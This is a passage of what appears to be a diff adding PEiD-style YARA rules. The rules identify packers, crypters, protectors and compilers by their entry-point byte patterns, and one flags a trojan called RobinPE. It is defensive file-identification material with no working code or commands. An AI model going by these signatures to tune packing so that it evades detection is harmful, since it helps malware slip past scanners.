90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 12 00 00 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 B0 01 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4D 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPAK_015_
+{
+	meta:
+		description = "PGMPAK 0.15"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 04 B4 4C CD 21 FC BE A5 03 BF 00 09 E8 1F FF E8 1C FF BB 3F 00 00 FF 00 8A C3 8B F3 8B B0 00 0A 8A 8F C0 09 BF 01 00 D3 E7 74 06 BD 00 07 E8 B8 FF 04 02 8B F3 8B B0 40 09 8A 8F 00 09 80 F9 09 73 08 BD 00 01 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKP_v142__Pavol_Cerven_
+{
+	meta:
+		description = "SVKP v1.42 -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC EC 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_DLL_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 DLL (Debug)"
+	strings:
+		$0 = {55 89 E5 83 EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 55 89 E5 83 EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Freshbind_v20__gFresh_
+{
+	meta:
+		description = "Freshbind v2.0 -> gFresh"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+		$1 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Rec_Small_102a_
+{
+	meta:
+		description = "Rec Small 1.02a"
+	strings:
+		$0 = {8C D8 1E E8 00 00 83 C0 0F 5D B9 00 00 81 ED EB 03 40 8E D8 2B DB B2 00 00 17 FE C2 43 83 FB 10 75 F6 E2 ED 1F 8C C0 03 C3 2E 01 86 25 04 2E 03 86 29 04 FA 2E 8B A6 27 04 8E D0 EB 00 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_198889_
+{
+	meta:
+		description = "Microsoft C (1988/89)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 02 CD 20 BF 00 00 8B 36 02 00 2B F7 81 FE 00 10 72 03 BE 00 10 FA 8E D7 81 C4 00 00 FB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__RobinPE_
+{
+	meta:
+		description = "WARNING -> TROJAN -> RobinPE"
+	strings:
+		$0 = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TPCs_COM_scrambler_100_
+{
+	meta:
+		description = "TPC's COM scrambler 1.00"
+	strings:
+		$0 = {3E C6 06 08 01 FD 90 EB 03 00 00 00 2E 8A 36 09 01 8E C0 8C D8 BE 4F 01 BF 77 01 2E 03 3E 0A 01 26 A3 06 00 26 89 3E 04 00 26 A3 0E 00 26 C7 06 0C 00 61 01 0E 07 B9 32 00 FC F3 A4 CC BE 77 01 BF 00 01 2E 8B 0E 0A 01 B8 00 01 0E 50 CD 01 58}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_v200_Eng__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt v2.00 (Eng) -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_34_
+{
+	meta:
+		description = "Shrinker 3.4"
+	strings:
+		$0 = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+		$1 = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DJoin_v07_public_RC4_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (RC4 encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$1 = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$2 = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASProtect_SKE_2122_dll__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_22004810__22005314__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_13a_
+{
+	meta:
+		description = "Petite 1.3a"
+	strings:
+		$0 = {B8 00 00 00 00 66 9C 60 50 8D 88 00 00 00 00 8D 90 00 00 00 00 8B DC 8B E1 68 00 00 00 00 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DC 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16d_by_Vaska_UsAr_sign__21032007_2222_
+{
+	meta:
+		description = "RCryptor 1.6d by Vaska (UsAr sign  21.03.2007 22:22)"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 90 3D 24 C0 14 13 74 06 80 30 F6 40 EB F3 B8 8C 20 18 13 90 3D B9 27 18 13 74 06 80 30 89 40 EB F3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Trilobytes_RNR_graphics_library_
+{
+	meta:
+		description = "Trilobyte's RNR graphics library"
+	strings:
+		$0 = {84 10 ?? ?? ?? ?? ?? ?? ?? 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Encapsulated_Postscript_graphics_file_v20_EPSF12_
+{
+	meta:
+		description = "Encapsulated Postscript graphics file v2.0 EPSF-1.2"
+	strings:
+		$0 = {25 21 50 53 2D 41 64 6F 62 65 2D 32 2E 30 20 45 50 53 46 2D 31 2E 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress__BG_Software_
+{
+	meta:
+		description = "Software Compress -> BG Software"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+		$1 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00}
+		$2 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_v110b2_
+{
+	meta:
+		description = "PECompact v1.10b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Embed_PE_v113__cyclotron_
+{
+	meta:
+		description = "Embed PE v1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90}
+		$1 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V130X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.X -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+		$1 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_1242__1243_
+{
+	meta:
+		description = "PECompact 1.24.2 - 1.24.3"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 A6 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 9E 70 40 00 BB D2 09 00 00 03 9D AA 70 40 00 03 9D A6 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_encryptor_1_
+{
+	meta:
+		description = "Unknown encryptor (1)"
+	strings:
+		$0 = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+	condition:
+		$0 at entrypoint
+}
+rule _Watcom_CCpp_
+{
+	meta:
+		description = "Watcom C/C++"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41}
+		$1 = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20 31 39 38 38 2D 31 39 39 35 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E 00 00 00 00 00 00}
+		$2 = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Unpack_20_
+{
+	meta:
+		description = "Unýpack 2.0"
+	strings:
+		$0 = {9C BA 00 00 2D 00 00 81 E1 00 00 81 F3 00 00 B4 00 9D 50 B8 00 00 BA 00 00 05 00 00 3B 06 02 00 72 2A B4 09 BA 1C 01 CD 21 B8 01 4C CD 21 4E 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F 72 79 24 20 20 20 20 20 20 20 B9 00 00 2B FF 57 BE 54 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_28x45x__Pelle_Orinius_
+{
+	meta:
+		description = "Pelles C 2.8.x-4.5.x -> Pelle Orinius"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+		$1 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ANDpakk2_006__Dmitry_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.06 -> Dmitry Andreev"
+	strings:
+		$0 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E}
+		$1 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _APEX_C_BLT_Apex_40__500mhz_
+{
+	meta:
+		description = "APEX_C (BLT Apex 4.0) -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+		$1 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_239_DLL_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _bambam_V001__bedrock_
+{
+	meta:
+		description = "bambam V0.01 -> bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+		$1 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_wLZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition w/LZMA 4.30 -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1354__Obsidium_Software__200800207_
+{
+	meta:
+		description = "Obsidium V1.3.5.4 -> Obsidium Software * 200800207"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2D 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 25 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 5B 28 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PackWin_10_202_
+{
+	meta:
+		description = "PackWin 1.0?- 2.02"
+	strings:
+		$0 = {8C C0 FA 8E D0 BC FE 00 FB 06 0E 1F 2E 8B 0E 0C 00 8B F1 4E 8B FE 8C DB 2E 03 1E 0A 00 8E C3 FD F3 A4 53 B8 38 00 50 CB 2E 8B 2E 08 00 8C DA 8B C5 3D 00 10 76 03 B8 00 10 2B E8 2B D0 2B D8 8E DA 8E C3 B1 03 D3 E0 8B C8 D1 E0 48 48 8B F0 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_V102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) V1.0.2 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0 at entrypoint
+}
+rule _RECrypt_07x__Crudd_RET_
+{
+	meta:
+		description = "RE-Crypt 0.7x -> Crudd [RET"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cue_70_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Cue 7.0 DLL"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V10X__bagie_
+{
+	meta:
+		description = "SimplePack V1.0X -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_25x__26x__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 2.5x - 2.6x -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_062_EXE_
+{
+	meta:
+		description = "UPX 0.62 [EXE]"
+	strings:
+		$0 = {8C CB B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8D 87 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 13 10 73 E8 00 00 00 00 00 0E 0E 00 00 00 00 00 00 00 00 00 00 00 CB 55 50 58 21 07 00 02 07}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Borland_Cue_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland Cue)"
+	strings:
+		$0 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v23__North_Star_
+{
+	meta:
+		description = "NsPack v2.3 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
